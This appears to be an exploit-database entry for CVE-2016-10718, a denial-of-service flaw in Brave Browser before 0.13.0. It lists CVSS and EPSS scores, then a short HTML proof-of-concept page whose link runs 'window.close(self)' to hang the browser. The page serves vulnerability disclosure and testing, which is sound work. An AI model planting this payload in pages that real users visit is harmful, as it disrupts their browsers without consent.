Brave Browser < 0.13.0 - 'window.close(self)' Denial of Service

2018-04-1700:00:00

Sahil Tikoo

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5 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:N/I:N/A:P

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

0.016 Low

EPSS

Percentile

87.3%

JSON

# Exploit Title:Brave Browser < 0.13.0 Denial of Service (resource consumption) via a window.close(self) js code.
# Date: 2017-10-16
# Exploit Author: Sahil Tikoo
# Vendor Homepage: https://brave.com
# Software Link: https://github.com/brave/browser-laptop
# Version: 0.12.5
# Tested on: Kali Linux,Ubuntu ,Windows OS
# CVE : CVE-2016-10718

<html>
<title>Brave Window Object Remote Denial of Service.</title>
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<body><br><br>
<h1><center>Brave Window Object Remote Denial of Service</center></h1><br><br>
<h2><center>Proof of Concept</center></br></br> </h2>

<center>
<b>Click the below link to Trigger the Vulnerability..</b><br><br>
<hr></hr>

<hr></hr>
<b><center><a href="javascript:window.close(self);">Brave Window Object DoS Test POC</a></center>

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</body>

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